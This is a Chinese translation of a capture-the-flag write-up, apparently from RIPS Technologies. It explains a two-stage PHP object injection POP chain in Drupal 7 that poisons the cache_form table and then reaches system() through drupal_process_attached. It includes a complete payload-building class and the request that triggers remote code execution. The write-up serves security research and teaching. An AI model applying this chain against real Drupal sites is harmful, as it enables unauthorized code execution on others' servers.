深入分析Drupal geddon 2 POP攻击链
最近,Insomni'hack举办了一场夺旗锦标赛,为了获胜,参赛者必须针对Drupal 7构造一个攻击payload。在这篇文章中,我们将为读者详细展示我们的PHP对象注入解决方案,其中包含一个复杂的POP gadget链。
关于挑战
该挑战涉及一个网站,其中安装了Drupal 7.63的修改版本。该挑战的创建者向Drupal安装中添加了一个Cookie项,其中包含一个PHP序列化字符串,该字符串将在远程服务器上进行反序列化,从而引发PHP对象注入漏洞。实际上,要想找到该Cookie并不复杂,并且挑战的目标也很明显:在Drupal查找并精心构造一个POP攻击链。
如果您不熟悉PHP对象注入攻击的话,建议先阅读我们关于PHP对象注入的基础知识方面的文章。
穿梭在Drupalgeddon 2到Drupal之间的POP攻击链
我们在Drupal源代码中发现了一个影响其缓存机制的POP攻击链。通过该POP攻击链,可以将触发DrupalGedDon 2漏洞的相同函数注入Drupal缓存,然后,再利用该函数即可。当然,阅读本文不要求读者预先熟悉该漏洞,因为所有的步骤,我们都会给出详尽的解释。
实际上,该POP攻击链是一个两阶段的远程代码执行漏洞,换句话说,其中涉及两个步骤:
- 向渲染引擎使用的数据库缓存中注入含有漏洞的代码
- 利用渲染引擎和drupalgeddon 2中含有漏洞的代码
向缓存中注入含有漏洞的代码
includes/bootstrap.inc中的DrupalCacheArray类实现了一个析构函数,并使用set()方法将一些数据写入数据库缓存。实际上,这就是我们的gadget链的入口点。
/**
*Destructs the DrupalCacheArray ob ject.
*/
public function __destruct() {
$data = array();
foreach ($this->keysToPersist as $offset => $persist) {
if ($persist) {
$data[$offset] = $this->storage[$offset];
}
}
if (!empty($data)) {
$this->set($data);
}
}
其中,set()方法将使用$this->cid、$data和$this->bin调用Drupal的cache_set()函数,而这些函数都处于攻击者的控制之下,因为它们是注入的对象的属性。现在,假设我们能够将任意数据注入到Drupal缓存中。
protected function set($data, $lock = TRUE) {
// Lock cache writes to help avoid stampedes.
// To implement locking for cache misses, override __construct().
$lock_name = $this->cid . ':' . $this->bin;
if (!$lock || lock_acquire($lock_name)) {
if ($cached = cache_get($this->cid, $this->bin)) {
$data = $cached->data + $data;
}
cache_set($this->cid, $data, $this->bin);
if ($lock) {
lock_release($lock_name);
}
}
}
为了验证这个假设是否正确,我们将开始深入考察Drupal缓存的内部运行机制。我们发现,相应的缓存条目是存储在数据库中的,并且,每种缓存类型都有自己对应的表(例如,有的缓存用于表单,有的缓存用于页面,依此类推) 。
MariaDB [drupal7]> SHOW TABLES;
+-----------------------------+
| Tables_in_drupal7 |
+-----------------------------+
...
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
...
在进行了深入研究之后,我们发现,其中的表名相当于$this->bin。这意味着我们可以将bin设置为任意的缓存类型,并将其注入到任何缓存表中。不过,我们能利用这一点做些什么呢?
下一步是分析不同的缓存表中,我们感兴趣的条目及其结构。
MariaDB [drupal7]> DESC cache_form;
+------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key |Default | Extra |
+------------+--------------+------+-----+---------+-------+
| cid | varchar(255) | NO | PRI | | |
| data | longblob | YES | |NULL | |
| expire | int(11) | NO | MUL | 0 | |
| created | int(11) | NO | | 0 | |
| serialized | smallint(6) | NO | | 0 | |
+------------+--------------+------+-----+---------+-------+
例如,cache_form表中含有一个名为cid的列。提醒一下,cache_set()函数的参数之一就是$this->cid。现在,我们不妨作出如下的假设:$this->cid被映射到缓存表的cid列,其值由$this->bin决定。也就是说,cid是缓存条目的键,而data列就是cache_set()中的$data参数。
为了验证上面这些假设,我们在build.php文件中创建了一个类,从而在本地创建了一个序列化的payload,并在自己搭建的Drupal测试环境中对其进行反序列化处理:
class SchemaCache {
// Insert an entry with some cache_key
protected $cid = "some_cache_key";
// Insert it into the cache_form table
protected $bin = "cache_form";
protected $keysToPersist = array('input_data' => true);
protected $storage = array('input_data' => array("arbitrarydata!"));
}
$schema = new SchemaCache();
echo serialize($schema);
在这里,我们之所以使用SchemaCache类,是因为它继承自抽象类DrupalCacheArray,这意味着它不能单独实例化。而这些数据的反序列化将会在cache_form表中创建以下条目:
MariaDB [drupal7]> SELECT * FROMcache_form;
+----------------+-----------------------------------------------------------+--------+------------+------------+
| cid | data |expire | created | serialized |
+----------------+-----------------------------------------------------------+--------+------------+------------+
| some_cache_key |a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}}| 0 | 1548684864 | 1 |
+----------------+-----------------------------------------------------------+--------+------------+------------+
利用注入的缓存数据实现远程代码执行
由于我们现在能够将任意数据注入到任意的缓存表中,因此,我们接下来的任务,就是探索Drupal使用这些缓存的方式,以设法实现远程代码执行。经过一段时间的搜索,我们偶然发现了以下ajax回调函数,可以通过向下面的URL发出请求来触发其运行:http://drupalurl.org/?q=system/ajax。
function ajax_form_callback() {
list($form, $form_state, $form_id, $form_build_id, $commands) =ajax_get_form();
drupal_process_form($form['#form_id'], $form, $form_state);
}
ajax_get_form()函数在内部使用cache_get()函数从cache_form表中检索缓存条目:
if($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
$form = $cached->data;
...
return $form;
}
这真是太有趣了,因为这意味着,可以将任意形式的渲染数组传递给drupal_process_form()。如前所述,DrupalgedDon 2漏洞实际上就是利用了这个函数,因此,很有可能通过将任意渲染数组注入渲染引擎来实现代码执行。
在drupal_process_form()中,我们发现了以下代码:
if(isset($element['#process']) && !$element['#processed']) {
foreach ($element['#process'] as $process) {
$element = $process($element, $form_state, $form_state['completeform']);
}
这里,$element是通过cache_get()函数接收的$form的引用,这就意味着,数组的键和值是可以任意设置的。同时,这还意味着可以直接设置一个进程(#process)回调,并使用渲染数组作为参数,来执行它。因为第一个参数是一个数组,所以不能直接调用System()之类的函数。实际上,我们所需的是一个接受引发远程代码执行漏洞的数组作为其输入的函数。
在这方面,drupal_process_attach()函数似乎很有希望:
function drupal_process_attached($elements,$group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
...
foreach ($elements['#attached'] as $callback => $options) {
if (function_exists($callback)) {
foreach ($elements['#attached'][$callback] as $args) {
call_user_func_array($callback, $args);
}
}
}
return $success;
因为所有数组的键和值都可以任意设置,所以,我们可以通过call_user_func_array()函数来调用具有任意参数的任意函数,从而实现远程代码执行!
这意味着最终的POP攻击链如下所示:
<?php
class SchemaCache {
// Insert an entry with some cache_key
protected $cid = "form_1337";
// Insert it into the cache_form table
protected $bin = "cache_form";
protected $keysToPersist = array(
'#form_id' => true,
'#process' => true,
'#attached' => true
);
protected $storage = array(
'#form_id' => 1337,
'#process' => array('drupal_process_attached'),
'#attached' => array(
'system' =>array(array('sleep 20'))
)
);
}
$schema = new SchemaCache();
echo serialize($schema);
接下来,我们要做的事情就是利用得到的序列化字符串触发PHP对象注入漏洞,然后向http://drupalurl.org/?q=system/ajax发送POST请求,并将POST参数form_build_id设为1337,从而触发RCE漏洞。
小结
按照目前的发展趋势来看,POP攻击链会变得越来越复杂,同时,也要求安全分析人员对应用程序的了解愈加深入。然而,这篇文章的目的是证明,即使不存在显而易见的POP攻击链,这种漏洞的利用仍然有可能。如果我们不知道Drupal的渲染API使用了很多回调的方法,并且在过去已经发现了相应的安全漏洞,我们就很难发现这个特定的POP攻击链。或者说,当没有明显的POP攻击链时,深厚的PHP知识也能设法让POP攻击链行之有效。此外,还存在另一个POP攻击链,详情请参阅Paul Axe撰写的相关文章。
原文链接:https://blog.ripstech.com/2019/complex-drupal-pop-chain/
最新评论